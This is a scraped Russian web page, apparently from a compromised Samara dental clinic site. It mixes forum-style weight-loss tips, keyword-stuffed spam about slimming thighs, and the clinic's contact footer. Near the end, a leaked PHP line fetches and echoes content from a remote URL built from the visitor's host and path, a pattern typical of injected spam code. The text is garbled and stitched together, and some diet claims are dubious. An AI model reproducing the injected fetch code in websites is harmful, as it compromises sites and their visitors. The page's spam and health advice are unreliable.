упражнения для живота в огромном кол-ве в инете (Невский на брюшной пресс) , как только прекратите - наберется сразу больше чем было, снижать, поддержиать надо медленно. Вывешиать на все стены фото с профилем живота, призывами к совести и стыдится лени и лени. А главную цель всегда видеть рядом с упреками и призывами.
Поможет с 3-5-6- раза. китайская пословица: если не смог за тысячу раз, начинай в 1001-ый.
Прочти "инструкцию к применению человеческого организма" - китайский бестцеллер.

Спорт и правильное питание

Тебе нужны Аэробные и Кардио тренировки. Похудеть отдельной частью тела - нельзя. Только целиком. Заниматься лучше всего за 2-3 часа до сна. Такие тренировки в совокупности со здоровым питанием - быстро принесут тебе результаты.

Бег и плаванье + упражнения на нижний пресс. Что касается питания - кушать 3 раза в день, обязательно фрукты и овощи (но важно не перебарщивать!) . 2 л воды ежедневно Еще раза 3 в неделю можна кушать морскую рыбку. Во время еды можна принимать что-нибудь для пищеварения. Я пила Мезим. Идеального рецепта нет) у всех свои рецепты красоты, но мне мой здоровый режим очень помог!)

Если полной девушке делать приседания, то ноги, попа и бёдра похудеют или увеличатся?

Если при это не жевать, то таки да..

Быстро похудеть попе ляжках в женском блоге Nerlopugver.xpg.com.br. Диета минус 17кг. Похудение, диеты, правильное питание!Как то быстро похудеть попе ляжках пропала я от вас всех, но не на методика похудения коваленко, долго!

Неа, скорее суставы в коленях сотрет чем похудеет. Много и быстро ходить или много и быстро плавать в бассейне.

Похудеют если за 2 часа до и 2 часа после тренировки и после 6 вечера ничего не есть

Начните с рационального питания. 6 раз в день мелкими порциями. Ничего жареного, копченого, жирного, острого, бродящего. Интенсивные кардионагрузки (в т. ч. и приседания) для сжигания жира.

Если есть по-прежнему, увеличатся.

Уменьшить объём еды, и много двигатся.

Как похудеть в ляжках питание. Для правильного питания все ясно.Если Вам нужно похудеть быстро и ОЧЕНЬ нужно, есть большое желание.На каждую ногу по 20 раз 4 подхода. Фишка в том, что нужно как бы сесть на одну ногу, попу выпятить назад, а возвращаясь в...

А у вас за беременность выросла попа? или только живот? как потом худеть?

Я не был беременным.

Как быстро похудеть в попе и ляжках. Главный секрет зел ного кофе заключается в содержании хлорогеновой кислоты. Лечение как возможно быстро похудеть в попы и ляжках не только медикаментозными средствами.

Пока ляльку кормишь-никаких худений

Оно чаще не за беременность растёт, а после - вот тут надо быть осторожнее.

Быстро похудеть попе ляжках
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта